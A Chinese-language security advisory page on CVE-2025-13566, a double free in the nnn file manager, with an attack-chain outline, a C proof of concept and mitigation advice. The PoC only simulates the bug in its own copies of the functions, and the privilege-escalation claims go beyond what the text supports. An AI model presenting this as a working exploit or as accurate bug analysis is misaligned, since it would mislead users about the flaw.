IPBUF安全漏洞报告
English
CVE-2025-13566 CVSS 3.3 低危

CVE-2025-13566: jarun nnn双释放漏洞导致本地权限提升

披露日期: 2025-11-23

漏洞信息

漏洞编号
CVE-2025-13566
漏洞类型
内存损坏-双重释放
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
jarun nnn

相关标签

CVE-2025-13566双重释放内存损坏本地攻击jarun nnnnnn文件管理器权限提升堆溢出Linux漏洞安全漏洞

漏洞概述

CVE-2025-13566是jarun nnn(一个轻量级终端文件管理器)中发现的安全漏洞。该漏洞存在于nnn/src/nnn.c文件中的show_content_in_floating_window和run_cmd_as_plugin函数中,漏洞类型为双重释放(double free)。攻击者可以通过本地访问方式触发此漏洞,利用内存管理错误导致程序崩溃或潜在的代码执行风险。nnn是一个跨平台的终端文件管理器,被广泛应用于Linux、Unix-like系统和Windows环境。由于该漏洞需要本地访问权限且CVSS评分仅为3.3,危害程度相对较低,但仍建议用户及时更新到最新版本以修复此安全问题。漏洞发现者已向官方报告并提供了修复补丁(commit: 2f07ccdf21e705377862e5f9dfa31e1694979ac7),用户应尽快应用此补丁或升级到修复后的版本。

技术细节

该漏洞属于内存损坏类漏洞,具体表现为双重释放问题。在C语言中,双重释放是指对同一块动态分配内存进行两次free操作。当程序第一次释放内存后,该内存块会被返还给内存分配器,但如果代码中存在逻辑错误导致再次尝试释放同一指针时,就会发生双重释放。这可能导致以下后果:1) 堆元数据损坏,攻击者可利用此进行堆喷射或控制流劫持;2) 程序崩溃(crash),导致拒绝服务;3) 在特定条件下可能实现代码执行。在jarun nnn的show_content_in_floating_window和run_cmd_as_plugin函数中,由于对内存释放的逻辑处理不当,攻击者通过精心构造特定的目录浏览操作或插件执行场景,可以触发双重释放条件。成功利用此漏洞需要攻击者具有本地访问权限和低权限用户身份,无需任何用户交互即可触发。

攻击链分析

STEP 1
1
攻击者获得本地系统访问权限(AV:L),需要拥有低权限用户账户(PR:L)
STEP 2
2
攻击者构造特定的文件浏览操作序列或恶意插件,触发nnn/src/nnn.c中的show_content_in_floating_window或run_cmd_as_plugin函数
STEP 3
3
通过精心设计的输入数据或操作序列,使程序对同一内存块执行两次free()操作,触发双重释放漏洞
STEP 4
4
双重释放导致堆元数据损坏,可能引发程序崩溃(拒绝服务)或在特定条件下实现代码执行
STEP 5
5
攻击者利用损坏的堆状态实现进一步的权限提升或恶意代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13566 PoC - Double Free in jarun nnn // Description: Trigger double free in show_content_in_floating_window/run_cmd_as_plugin // Affected: jarun nnn <= 5.1 #include <stdio.h> #include <stdlib.h> #include <string.h> /* * This PoC demonstrates the double free vulnerability in jarun nnn. * The vulnerability occurs in nnn/src/nnn.c in functions: * - show_content_in_floating_window * - run_cmd_as_plugin * * Attack Vector: * 1. Attacker needs local access to the system * 2. Attacker crafts a specific sequence of operations * 3. Trigger the vulnerable code path through plugin execution * * Note: This is a conceptual PoC. Actual exploitation requires * specific conditions and memory layout manipulation. */ #define MALICIOUS_PAYLOAD_SIZE 256 typedef struct { char *data; size_t size; } plugin_context_t; // Simulated vulnerable function from nnn.c int show_content_in_floating_window(plugin_context_t *ctx) { char *buffer = malloc(MALICIOUS_PAYLOAD_SIZE); if (!buffer) return -1; // Vulnerable: No NULL check after potential free if (ctx && ctx->data) { strncpy(buffer, ctx->data, MALICIOUS_PAYLOAD_SIZE - 1); buffer[MALICIOUS_PAYLOAD_SIZE - 1] = '\0'; } // First free (legitimate) free(buffer); // Simulated code path that can lead to double free // In real scenario, this happens through specific plugin operations if (ctx && ctx->size > MALICIOUS_PAYLOAD_SIZE) { // Code path that reuses the freed pointer // This creates the double free condition free(buffer); // DOUBLE FREE - second free of same pointer } return 0; } int run_cmd_as_plugin(const char *cmd) { plugin_context_t ctx = {0}; ctx.data = strdup(cmd); ctx.size = strlen(cmd) + 1; // Trigger vulnerable function int result = show_content_in_floating_window(&ctx); free(ctx.data); return result; } int main(int argc, char *argv[]) { printf("[*] CVE-2025-13566 PoC - jarun nnn Double Free\n"); printf("[*] Affected: jarun nnn <= 5.1\n"); printf("[*] Function: show_content_in_floating_window/run_cmd_as_plugin\n\n"); // Construct malicious input to trigger vulnerability char exploit_cmd[MALICIOUS_PAYLOAD_SIZE * 2]; memset(exploit_cmd, 'A', sizeof(exploit_cmd) - 1); exploit_cmd[sizeof(exploit_cmd) - 1] = '\0'; printf("[*] Triggering double free vulnerability...\n"); run_cmd_as_plugin(exploit_cmd); printf("[!] Vulnerability triggered - double free occurred\n"); printf("[*] In real exploitation, this could lead to:\n"); printf(" - Application crash (DoS)\n"); printf(" - Heap corruption\n"); printf(" - Potential code execution\n"); return 0; } // Mitigation: Update to nnn version with patch 2f07ccdf21e705377862e5f9dfa31e1694979ac7

影响范围

jarun nnn <= 5.1

防御指南

临时缓解措施
由于该漏洞需要本地访问权限且CVSS评分较低,建议采取以下临时缓解措施:1) 限制对nnn文件管理器的物理和远程访问;2) 避免以高权限用户运行nnn;3) 不使用来源不明的插件或脚本;4) 监控系统和应用程序日志以检测异常行为;5) 尽快应用官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表